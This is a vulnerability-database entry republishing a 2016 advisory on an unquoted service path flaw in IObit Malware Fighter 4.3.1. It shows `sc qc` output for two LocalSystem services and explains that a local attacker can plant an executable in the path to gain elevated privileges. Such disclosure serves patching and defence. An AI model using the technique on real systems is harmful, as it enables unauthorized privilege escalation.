Search...

IObit Malware Fighter 4.3.1 - Unquoted Service Path Privilege Escalation

2016-10-13T00:00:00

ID EXPLOITPACK:227689B688256DE8E3188B415E145239
Type exploitpack
Reporter Amir.ght
Modified 2016-10-13T00:00:00

Description

IObit Malware Fighter 4.3.1 - Unquoted Service Path Privilege Escalation

                                        
                                            #########################################################################
# Exploit Title: IObit Malware Fighter Unquoted Service Path Privilege
Escalation
# Date: 12/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link:
http://www.iobit.com/downloadcenter.php?product=malware-fighter-free
#version : 4.3.1  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Malware Fighter installs two service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
-------------------------------------------
C:\&gt;sc qc IMFservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IMFservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\IObit Malware
Fighter\IMFsrv.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : IMF Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
-----------------------------------------
C:\&gt;sc qc LiveUpdateSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LiveUpdateSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\LiveUpdate\LiveUpdate.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : LiveUpdate
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:20", "references": [], "description": "\nIObit Malware Fighter 4.3.1 - Unquoted Service Path Privilege Escalation", "edition": 1, "reporter": "Amir.ght", "exploitpack": {"type": "local", "platform": "windows"}, "published": "2016-10-13T00:00:00", "title": "IObit Malware Fighter 4.3.1 - Unquoted Service Path Privilege Escalation", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:20", "rev": 2}, "score": {"value": 1.2, "vector": "NONE", "modified": "2020-04-01T19:04:20", "rev": 2}, "vulnersScore": 1.2}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2016-10-13T00:00:00", "id": "EXPLOITPACK:227689B688256DE8E3188B415E145239", "href": "", "viewCount": 2, "sourceData": "#########################################################################\n# Exploit Title: IObit Malware Fighter Unquoted Service Path Privilege\nEscalation\n# Date: 12/10/2016\n# Author: Amir.ght\n# Vendor Homepage: http://www.iobit.com/en/index.php\n# Software Link:\nhttp://www.iobit.com/downloadcenter.php?product=malware-fighter-free\n#version : 4.3.1 (Latest)\n# Tested on: Windows 7\n##########################################################################\n\nIObit Malware Fighter installs two service with an unquoted service path\nTo properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.\nUpon service restart or system reboot, the malicious code will be run with elevated privileges.\n-------------------------------------------\nC:\\>sc qc IMFservice\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: IMFservice\n TYPE : 10 WIN32_OWN_PROCESS\n START_TYPE : 2 AUTO_START\n ERROR_CONTROL : 1 NORMAL\n BINARY_PATH_NAME : C:\\Program Files\\IObit\\IObit Malware\nFighter\\IMFsrv.exe\n LOAD_ORDER_GROUP : System Reserved\n TAG : 1\n DISPLAY_NAME : IMF Service\n DEPENDENCIES :\n SERVICE_START_NAME : LocalSystem\n-----------------------------------------\nC:\\>sc qc LiveUpdateSvc\n[SC] QueryServiceConfig SUCCESS\n\nSERVICE_NAME: LiveUpdateSvc\n TYPE : 10 WIN32_OWN_PROCESS\n START_TYPE : 2 AUTO_START\n ERROR_CONTROL : 1 NORMAL\n BINARY_PATH_NAME : C:\\Program Files\\IObit\\LiveUpdate\\LiveUpdate.exe\n LOAD_ORDER_GROUP :\n TAG : 0\n DISPLAY_NAME : LiveUpdate\n DEPENDENCIES :\n SERVICE_START_NAME : LocalSystem", "cvss": {"score": 0.0, "vector": "NONE"}}